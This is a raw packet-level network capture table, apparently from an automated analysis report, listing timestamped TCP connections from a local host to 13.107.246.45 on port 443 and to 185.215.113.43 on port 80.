Nov 18, 2024 23:04:01.529244900 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.529599905 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.529937983 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.530354023 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.530354023 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.530435085 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.530472040 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.531099081 CET	49763	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.531187057 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.531323910 CET	49763	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.531804085 CET	49763	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.531841993 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.532737017 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.532808065 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.532939911 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.533103943 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.533143044 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.533183098 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.533215046 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.533312082 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.533489943 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.533508062 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.547668934 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.548655987 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.548724890 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.548769951 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.548793077 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.548819065 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.548831940 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.550546885 CET	49766	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.550580025 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.550648928 CET	49766	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.550744057 CET	49766	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.550761938 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.648413897 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.649123907 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.649164915 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.649537086 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.649565935 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.784992933 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.785589933 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.785651922 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.785782099 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.785815954 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.785841942 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.785855055 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.788635015 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.788664103 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.788811922 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.789128065 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.789143085 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.571527958 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.572014093 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.572057009 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.572463036 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.572474003 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.578167915 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.578377962 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.578669071 CET	49766	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.578682899 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.579008102 CET	49766	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.579018116 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.579183102 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.579200029 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.579513073 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.579518080 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.580287933 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.580852985 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.581167936 CET	49763	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.581212997 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.581491947 CET	49763	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.581504107 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.581540108 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.581547022 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.581916094 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.581919909 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.704205036 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.704366922 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.704461098 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.707905054 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.708060026 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.708234072 CET	49766	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.712794065 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.712860107 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.712867975 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.712949038 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.712999105 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.714380026 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.714446068 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.714529037 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.714589119 CET	49763	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.816684008 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.816684961 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.816740990 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.816766977 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.824217081 CET	49763	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.824259996 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.831259966 CET	49766	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.831259966 CET	49766	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.831301928 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.831336021 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.838228941 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.838238955 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.838268995 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.838274956 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.841963053 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.841967106 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.841984034 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.841985941 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.853805065 CET	49768	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.853844881 CET	443	49768	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.854166031 CET	49768	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.854998112 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.855083942 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.855154037 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.856075048 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.856086969 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.856138945 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.856842041 CET	49768	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.856856108 CET	443	49768	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.863516092 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.863553047 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.863605022 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.863616943 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.866050959 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.866071939 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.866137981 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.875451088 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.875483990 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.876101017 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.876185894 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:02.876400948 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.876683950 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:02.876718998 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:03.319117069 CET	49773	80	192.168.2.4	185.215.113.43
Nov 18, 2024 23:04:04.029082060 CET	80	49773	185.215.113.43	192.168.2.4
Nov 18, 2024 23:04:04.029175043 CET	49773	80	192.168.2.4	185.215.113.43
Nov 18, 2024 23:04:04.029472113 CET	49773	80	192.168.2.4	185.215.113.43
Nov 18, 2024 23:04:04.034410000 CET	80	49773	185.215.113.43	192.168.2.4
Nov 18, 2024 23:04:04.171102047 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.171564102 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.171581984 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.172024012 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.172142982 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.172149897 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.172338009 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.172399044 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.172725916 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.172739029 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.174108028 CET	443	49768	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.174571037 CET	49768	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.174577951 CET	443	49768	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.174841881 CET	49768	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.174845934 CET	443	49768	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.185857058 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.186181068 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.186197042 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.186559916 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.186570883 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.193902016 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.194222927 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.194278002 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.194590092 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.194602966 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.303983927 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.304047108 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.304207087 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.304260015 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.304276943 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.304291010 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.304299116 CET	443	49770	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.306715012 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.306781054 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.307457924 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.307566881 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.307595015 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.316998005 CET	443	49768	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.317060947 CET	443	49768	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.317147970 CET	49768	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.317248106 CET	49768	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.317248106 CET	49768	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.317256927 CET	443	49768	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.317265034 CET	443	49768	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.319073915 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.319159985 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.319272995 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.319359064 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.319396019 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.322711945 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.322849035 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.322923899 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.323050976 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.323050976 CET	49771	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.323090076 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.323113918 CET	443	49771	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.324786901 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.324831009 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.324875116 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.325001001 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.325079918 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.325134993 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.325134993 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.325134993 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.325257063 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.325284958 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.326864958 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.326886892 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.327049971 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.327133894 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.327150106 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.330457926 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.330647945 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.330713034 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.330810070 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.330837011 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.330862999 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.330893993 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.332555056 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.332577944 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.332660913 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.332801104 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.332825899 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.632968903 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:04.633014917 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:04.945524931 CET	80	49773	185.215.113.43	192.168.2.4
Nov 18, 2024 23:04:04.947657108 CET	49773	80	192.168.2.4	185.215.113.43
Nov 18, 2024 23:04:05.038888931 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.039537907 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.039587975 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.039973974 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.039988041 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.053366899 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.055955887 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.056018114 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.056339025 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.056354046 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.080157042 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.080825090 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.080885887 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.081178904 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.081193924 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.088697910 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.092226982 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.092247009 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.092720985 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.092729092 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.168665886 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.168804884 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.169006109 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.169071913 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.169112921 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.169142008 CET	49774	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.169156075 CET	443	49774	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.171696901 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.171731949 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.171806097 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.171977997 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.171992064 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.185391903 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.185662985 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.185889959 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.185980082 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.185980082 CET	49775	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.186023951 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.186053991 CET	443	49775	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.187532902 CET	49780	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.187582016 CET	443	49780	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.187670946 CET	49780	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.187783003 CET	49780	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.187814951 CET	443	49780	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.218041897 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.218178988 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.218519926 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.218521118 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.218521118 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.219927073 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.219997883 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.220082998 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.220185041 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.220216036 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.258883953 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.259085894 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.259299040 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.259454966 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.259469032 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.259480000 CET	49777	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.259485006 CET	443	49777	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.261246920 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.261336088 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.261420012 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.261552095 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.261591911 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.523427963 CET	49776	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.523495913 CET	443	49776	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.852710009 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.853507996 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.853573084 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.853935003 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.853949070 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.945255995 CET	443	49780	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.945775032 CET	49780	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.945837975 CET	443	49780	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.946064949 CET	49780	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.946080923 CET	443	49780	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.947612047 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.947911024 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.947923899 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.948299885 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.948307037 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.980545044 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.980746031 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.980809927 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.980846882 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.980871916 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.980887890 CET	49778	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.980895042 CET	443	49778	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.981189013 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.981609106 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.981662035 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.982065916 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.982081890 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.983486891 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.983541965 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.983620882 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.983777046 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.983798027 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.993510008 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.993936062 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.993997097 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:05.994232893 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:05.994247913 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.076862097 CET	443	49780	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.076992035 CET	443	49780	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.077167988 CET	49780	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.077253103 CET	49780	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.077253103 CET	49780	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.077295065 CET	443	49780	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.077323914 CET	443	49780	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.079158068 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.079246044 CET	443	49784	13.107.246.45	192.168.2.4
